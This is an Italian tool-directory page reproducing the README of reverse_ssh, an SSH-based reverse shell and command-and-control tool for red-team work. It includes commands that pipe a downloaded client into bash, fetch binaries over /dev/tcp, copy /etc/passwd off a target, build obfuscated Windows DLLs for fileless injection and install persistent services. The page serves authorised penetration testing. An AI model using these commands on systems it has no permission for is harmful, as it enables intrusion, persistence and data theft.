Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
reverse_ssh — Strumento di gestione di reverse shell basato su SSH con supporto nativo per SCP/SFTP, protocolli di trasporto multipli, generazione di DLL per Windows ed esecuzione fileless per operazioni red team. | Kitploit
Strumenti/GitHubGitHub/nhas/reverse_ssh
ShellcodeGenerazione di Shellcode
GitHubnhas/reverse_ssh

reverse_ssh

Strumento di gestione di reverse shell basato su SSH con supporto nativo per SCP/SFTP, protocolli di trasporto multipli, generazione di DLL per Windows ed esecuzione fileless per operazioni red team.

Vedi Repository
1.4k18415 giorni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Reverse SSH

icon
(Credito artistico a https://www.instagram.com/smart.hedgehog.art/)

Vuoi usare SSH per le reverse shell? Ora puoi.

  • Gestisci e connettiti a reverse shell con la sintassi nativa di SSH
  • Dynamic, local e remote forwarding
  • Implementazioni native di SCP e SFTP per recuperare file dai tuoi target
  • Shell Windows completa
  • Molteplici trasporti di rete, come http, websockets, tls e altri
  • Autenticazione reciproca client e server per creare canali di controllo ad alta fiducia E altro ancora!```text +----------------+ +---------+ | | | | | | +---------+ RSSH | | Reverse | | | Client | | SSH server | | | | | | | +---------+ +---------+ | | | | | | | | | Human | SSH | | SSH | +---------+ | Client +-------->+ <-----------------+ | | | | | | | RSSH | +---------+ | | | | Client | | | | | | | | | +---------+ | | | | | | +----------------+ | +---------+ | | | | | RSSH | +---------+ Client | | | +---------+
root@kitploit:~
https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1


- [SSH Inverso](#reverse-ssh)
  - [TL;DR](#tldr)
    - [Configurazione](#setup)
    - [Utilizzo di base](#basic-usage)
  - [Sponsor](#sponsors)
    - [Individui](#individuals)
    - [Aziende](#companies)
  - [Caratteristiche avanzate](#fancy-features)
    - [Privilegi](#privileges)
    - [Connessione automatica di ritorno](#automatic-connect-back)
    - [Download di reverse shell (generazione client e server HTTP integrato)](#reverse-shell-download-client-generation-and-in-built-http-server)
    - [Trasporti alternativi (HTTP/Websocket/TLS)](#alternate-transports-httpwebsocketstls)
    - [Autocompletamento Bash](#bash-autocomplete)
    - [Generazione DLL Windows](#windows-dll-generation)
    - [Sottosistemi SSH](#ssh-subsystems)
      - [Tutti](#all)
      - [Linux](#linux)
      - [Windows](#windows)
    - [Integrazione servizio Windows](#windows-service-integration)
    - [Supporto completo shell Windows](#full-windows-shell-support)
    - [Webhook](#webhooks)
    - [Tun (VPN)](#tun-vpn)
    - [Esecuzione senza file (i client supportano il download dinamico di eseguibili da eseguire come shell)](#fileless-execution-clients-support-dynamically-downloading-executables-to-execute-as-shell)
      - [Schemi URI supportati](#supported-uri-schemes)
- [Aiuto](#help)
  - [Windows](#windows-help)
    - [SFTP](#windows-and-sftp)
    - [Errori di avvio sessione (0xc0000142)](#session-spawn-errors-0xc0000142)
  - [Il server avviato con `--insecure` ha ancora `Failed to handshake`](#server-started-with---insecure-still-has-failed-to-handshake)
  - [Primo piano vs Sfondo](#foreground-vs-background)
- [Donazioni, Supporto o Restituzione](#donations-support-or-giving-back)

## TL;DR

### Configurazione

Si consiglia il rilascio Docker in quanto include la versione corretta di golang e un compilatore cross per Windows.```sh
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh

o docker compose:```yaml services: reversessh: image: reversessh/reverse_ssh ports: - "3232:2222" environment: - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 - RSSH_CONSOLE_LABEL=c2.label - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY} volumes: - ./data:/data

root@kitploit:~
### Uso base```sh
# Connect to the server console
ssh your.rssh.server.internal -p 3232


# List all server console commands
catcher$ help

# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25


# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh |  bash

# then we can then list what clients are connected
catcher$ ls
                                 Targets
+------------------------------------------+-----------------------------------+
| IDs                                      | Version                           |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 |                                   |
| dummy.machine                            |                                   |
| 192.168.0.11:34542                       |                                   |
+------------------------------------------+-----------------------------------+

Tutti i comandi supportano il flag -h per fornire aiuto.

Poi i tipici comandi ssh funzionano, basta specificare il tuo server rssh come host di salto.```sh

Connect to full shell

ssh -J your.rssh.server.internal:3232 dummy.machine

Start remote forward

ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine

Start dynamic forward

ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine

SCP

scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .

root@kitploit:~
## Sponsor

Un enorme ringraziamento alle seguenti persone per aver donato al progetto RSSH e reso possibile tutto questo lavoro!

### Individui
[chikamobina](https://github.com/chikamobina) per le loro generose donazioni!  
[wrighterase (ctrlzero)](https://github.com/wrighterase) per le loro pull request e donazione!

### Aziende

[Carapace](https://carapace.nz/) è una società di consulenza sulla sicurezza con sede in Nuova Zelanda, con un team di persone estremamente talentuoso!  
[<img src="https://assets.kitploit.com/production/public/readmes/5627/b077b138b5108d69a3bcb10eea9d5f195914c9fb4653689923b3a10a1ee38a64.png">](https://carapace.nz/)

## Funzionalità avanzate

### Privilegi
Il server RSSH supporta privilegi utente molto basici, dove gli utenti trovati nella cartella `data-directory`/`keys` (specificata tramite `--datadir`) ad esempio `data-directory/keys/jim` verranno assegnati come "utente" in grado di vedere solo i client che sono pubblici (trovati nel file authorized_controllee_keys senza un tag `owners`, o con un tag `owners` vuoto) o specificamente assegnati a loro, ad esempio `owners="jim"`.

Questo può essere cambiato in fase di esecuzione tramite un utente che condivide l'accesso a un client di sua proprietà con il comando `access`, o un amministratore del server. Per impostazione predefinita, qualsiasi chiave pubblica trovata nel file `authorized_keys` sarà contrassegnata come amministratore per mantenere la compatibilità all'indietro.
Qualsiasi modifica apportata dal comando `access` non persisterà al riavvio del server, e ciò richiederà la modifica del file `authorized_controllee_keys` per quel client specifico.

### Connessione di ritorno automatica

Il client rssh ti permette di incorporare un indirizzo di connessione di ritorno.
Per impostazione predefinita, il comando `link` incorporerà l'indirizzo esterno del server.

Se per qualche motivo stai compilando manualmente il binario, puoi specificare la variabile d'ambiente `RSSH_HOMESERVER` per incorporarla nel client:```sh
$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make

# Will connect to your.rssh.server.internal:3232, even though no destination is specified
$ bin/client

# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232
$ bin/client -d example.com:3232

Scarica reverse shell (generazione del client e server HTTP/Raw TCP integrato)

Il server RSSH può compilare e ospitare i binari del client (comando link). Questo è il metodo preferito per compilare e servire i client. Affinché la funzione funzioni, il server deve essere posizionato nella cartella bin/ del progetto, poiché deve trovare il sorgente del client.

Per impostazione predefinita, la release docker ha tutto già compilato correttamente ed è consigliata per l'uso.```sh ssh your.rssh.server.internal -p 3232

catcher$ link -h

link [OPTIONS] Link will compile a client and serve the resulting binary on a link which is returned. This requires the web server component has been enabled. --fingerprint Set RSSH server fingerprint will default to server public key --garble Use garble to obfuscate the binary (requires garble to be installed) --goarch Set the target build architecture (default runtime GOARCH) --goarm Set the go arm variable (not set by default) --goos Set the target build operating system (default runtime GOOS) --http Use http polling as the underlying transport --https Use https polling as the underlying transport --log-level Set default output logging levels, [INFO,WARNING,ERROR,FATAL,DISABLED] --lzma Use lzma compression for smaller binary at the cost of overhead at execution (requires upx flag to be set) --name Set the link download url/filename (default random characters) --no-lib-c Compile client without glibc --ntlm-proxy-creds Set NTLM proxy credentials in format DOMAIN\USER:PASS --owners Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson --proxy Set connect proxy address to bake it --raw-download Download over raw TCP, outputs bash downloader rather than http --shared-object Generate shared object file --sni When TLS is in use, set a custom SNI for the client to connect with --stdio Use stdin and stdout as transport, will disable logging, destination after stdio:// is ignored --tls Use TLS as the underlying transport --upx Use upx to compress the final binary (requires upx to be installed) --use-kerberos Instruct client to try and use kerberos ticket when using a proxy --working-directory Set download/working directory for automatic script (i.e doing curl https://.sh) --ws Use plain http websockets as the underlying transport --wss Use TLS websockets as the underlying transport -C Comment to add as the public key (acts as the name) -l List currently active download links -o Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson -r Remove download link -s Set homeserver address, defaults to server --external_address if set, or server listen address if not

Generate a client and serve it on a named link

catcher$ link --name test http://your.rssh.server.internal:3232/test

root@kitploit:~
Poi puoi scaricarlo come segue:```sh
wget http://your.rssh.server.internal:3232/test
chmod +x test
./test

Oppure puoi usare il tcp grezzo per scaricare il binario del client:```sh bash -c "exec 3<>/dev/tcp/your.rssh.server.internal/3232; echo RAWtest>&3; cat <&3" > test

root@kitploit:~
Il formato per questo è semplicemente `RAW` seguito dal nome del file, in questo caso `test`, rssh può generarlo automaticamente per te con `--raw-download`.

Il server RSSH supporta anche terminazioni di percorso URL come `.sh`, `.py` e `.ps1` che genereranno uno script che puoi passare direttamente a un interprete:```sh
curl http://your.rssh.server.internal:3232/test.sh | sh

Trasporti Alternativi (HTTP/Websockets/TLS)

Sia il server SSH inverso che il client supportano trasporti multipli per quando l'ispezione approfondita dei pacchetti blocca SSH in uscita da un host o una rete. È possibile specificare manualmente lo schema di connessione di ritorno specificandolo come url nel client.

Es.```sh ./client -d ws://your.rssh.server:3232

root@kitploit:~
Oppure incorporandolo con il comando `link`.```sh
ssh your.rssh.server -p 3232 link --ws --name test

Completamento automatico di Bash

Il server RSSH ha il comando autocomplete che si integra bene con bash in modo da avere i completamenti automatici quando non si utilizza la console del server. Per installarlo basta eseguire:```sh ssh your.rssh.server.internal -p 3232 autocomplete --shell-completion your.rssh.server.internal:3232

root@kitploit:~
E questo restituirà un completamento automatico che può essere aggiunto al tuo `.zshrc` o `.bashrc`

Es.```sh
_RSSHCLIENTSCOMPLETION()
{
    local cur=${COMP_WORDS[COMP_CWORD]}
    COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 autocomplete --clients)" -- $cur) )
}

_RSSHFUNCTIONSCOMPLETIONS()
{
    local cur=${COMP_WORDS[COMP_CWORD]}
    COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 help -l)" -- $cur) )
}

complete -F _RSSHFUNCTIONSCOMPLETIONS ssh your.rssh.server.internal -p 3232 

complete -F _RSSHCLIENTSCOMPLETION ssh -J your.rssh.server.internal:3232

complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 exec 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 connect 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 listen -c 
complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 kill 

Permettendoti di eseguire completamenti direttamente dal tuo terminale:```sh

Will give you an option based on what clients are connected

ssh -J your.rssh.server.internal:3232

root@kitploit:~
### Generazione di DLL per Windows

Puoi compilare il client come DLL da caricare con qualcosa come [Invoke-ReflectivePEInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1). Questo è utile quando si desidera eseguire l'iniezione senza file del client rssh.

Per fare ciò sarà necessario un cross compiler se lo stai facendo su linux, usa `mingw-w64-gcc`, che è incluso nella release docker.```bash
# Using the link command
catcher$ link --goos windows --shared-object --name windows_dll
http://your.rssh.server.internal:3232/windows_dll

# If building manually
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll

SSH Subsystems

Il protocollo SSH supporta la chiamata di sottosistemi con il flag -s. In RSSH questo viene riadattato per fornire comandi speciali per piattaforme e supporto sftp.

All

list Elenco dei sottosistemi disponibili

sftp: Esegue il gestore sftp per trasferire file

Linux

setgid: Tenta di cambiare gruppo

setuid: Tenta di cambiare utente

Windows

service: Installa o rimuove il binario rssh come servizio Windows, richiede diritti amministrativi

es.```sh

Install the rssh binary as a service (windows only)

ssh -J your.rssh.server.internal:3232 test-pc.user.test-pc -s service --install

root@kitploit:~
### Windows Service Integration

Il binario client RSSH supporta l'esecuzione all'interno di un servizio Windows e non scadrà dopo 10 secondi. Questo è ottimo per creare servizi di gestione persistenti.

### Full Windows Shell Support

La maggior parte delle reverse shell per Windows fatica a generare un ambiente shell che supporti il ridimensionamento, la copia e incolla e tutte le altre funzionalità a cui siamo molto affezionati.
Questo progetto utilizza `conpty` sulle versioni più recenti di Windows e la libreria `winpty` (che si auto-estrae) su quelle più vecchie. Ciò dovrebbe significare che quasi tutte le versioni di Windows ti forniranno una bella shell.

### Webhooks

Il server RSSH può inviare richieste HTTP grezze impostate utilizzando il comando `webhook` dall'interfaccia del terminale.

Prima abilita un webhook:```bash
$ ssh your.rssh.server.internal -p 3232
catcher$ webhook --on http://localhost:8080/

Quindi disconnetti, o connetti un client, questo genererà una richiesta POST con il seguente formato.```bash $ nc -l -p 8080 POST /rssh_webhook HTTP/1.1 Host: localhost:8080 User-Agent: Go-http-client/1.1 Content-Length: 165 Content-Type: application/json Accept-Encoding: gzip

{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%

root@kitploit:~
Come nota aggiuntiva, utilizza l'endpoint `/slack` se connetti questo a discord.

### Tun (VPN)

RSSH e SSH supportano la creazione di interfacce tuntap che consentono di instradare il traffico e creare pseudo-VPN. Richiede un po' più di configurazione rispetto a un semplice forward locale o remoto (`-L`, `-R`), ma in questa modalità puoi inviare `UDP` e `ICMP`.

#### Avviso Importante

Se ti connetti a un client RSSH malintenzionato, sarà in grado di riconnettersi al tuo dispositivo tunnel. Pertanto è importante non avere il forwarding abilitato, e di avere regole firewall per bloccare qualsiasi connessione alla macchina locale, oppure eseguire questo da un container/netns.

Installa un client su una macchina remota, questo non funzionerà se hai il tuo client RSSH sullo stesso host del tuo dispositivo tun.```sh
sudo ssh -J your.rssh.server.internal:3232 user.wombo -w 0:any

sudo ip link set dev tun0 up
sudo ip route add 0.0.0.0/0 dev tun0

Questo ha alcune limitazioni, è in grado di inviare solo UDP/TCP/ICMP, e non protocolli arbitrari di livello 3. ICMP è best effort e può utilizzare lo strumento ping dell'host remoto, poiché i socket ICMP sono privilegiati sulla maggior parte delle macchine. Inoltre non supporta i dispositivi tap, ad esempio VPN di livello 2, poiché ciò richiederebbe accesso amministrativo.

Esecuzione fileless (I client supportano il download dinamico di eseguibili da eseguire come shell)

Quando si specifica quale eseguibile il binario rssh dovrebbe eseguire, sia quando ci si connette con una sessione PTY completa o esecuzione raw, il client supporta schemi URI per scaricare eseguibili off-host.

Per esempio.```sh connect --shell https://your.host/program <rssh_client_id> ssh -J your.rssh.server:3232 <rssh_client_id> https://your.host/program

root@kitploit:~
#### Schemi URI Supportati

`http/https`: Download puramente web

`rssh`: Download tramite il server rssh

Il server rssh servirà il contenuto dalla directory `downloads` nella directory di lavoro degli eseguibili.

Entrambi questi metodi utilizzeranno opportunisticamente [memfd](https://man7.org/linux/man-pages/man2/memfd_create.2.html) che non scriverà alcun eseguibile su disco.

# Aiuto

## Windows

### SFTP

A causa delle limitazioni di SFTP (o meglio della libreria che sto utilizzando). I percorsi richiedono un po' più di lavoro su windows.```sh
sftp -r -J your.rssh.server.internal:3232 test-pc.user.test-pc:'/C:/Windows/system32'

Nota la / prima del carattere iniziale.

Errori di spawn della sessione (0xc0000142)

In alcune circostanze di esecuzione, la connessione a un client RSSH su Windows potrebbe fallire senza alcun errore.```sh catcher$ connect windows-system Session has terminated.

root@kitploit:~
Log del client:```sh
2025/08/24 18:25:39 [client] INFO session.go:52 func16() : Session got request: "shell"
2025/08/24 18:25:39 [client] INFO shell_windows.go:137 runWithConpty() : New process with pid 3427 spawned
2025/08/24 18:25:39 [client] INFO session.go:122 func16() : Session disconnected

Ci sono due cause comuni per questo, la prima è che l'antivirus ha ucciso il powershell generato, e l'altra 0xc0000142 si verifica quando il processo risultante non ha i permessi per accedere alla Windows Station o al Desktop source.

Per determinare quale sta causando questo problema, esegui qualsiasi comando senza un pty:```sh ssh -J rssh windows-system cmd /c dir
exit status 0xc0000142

root@kitploit:~
Se vedi il codice di errore `0xc0000142` prova ad avviare `CMD.exe` e a forzare l'allocazione di una pty (`-t`):```sh
ssh -t -J rssh windows-system CMD.exe

Questo dovrebbe avviare una shell interattiva.

Server avviato con --insecure ha ancora Failed to handshake

Se il binario client è stato generato con il comando link, questo client ha l'impronta della chiave pubblica del server incorporata per impostazione predefinita. Se perdi la chiave privata del server, i client non potranno più connettersi. Puoi anche generare client con link --fingerprint <impronta qui> per specificare un'impronta; al momento non c'è un modo per disabilitare questa funzionalità a partire dalla versione 1.0.13.

Primo piano vs Sfondo

Per impostazione predefinita, i client vengono eseguiti in background, poi il processo padre termina e il processo figlio riceve stdout/stderr del processo padre, così potrai vedere l'output. Se hai bisogno di eseguire il debug del tuo client, usa il flag --foreground.

Donazioni, Supporto o Come Ricambiare

Il modo più semplice per ricambiare al progetto RSSH è trovare bug, aprire richieste di funzionalità e pubblicizzarlo a voce a persone che pensi possano trovarlo utile!

Tuttavia, se vuoi darmi qualcosa direttamente, puoi farlo tramite Kofi o Github Sponsors (sotto "Sponsor this Project" sul lato destro). Oppure donami inviando a uno dei seguenti portafogli:

Monero (XMR): 8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND Bitcoin (BTC): bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr

Scarica lo strumento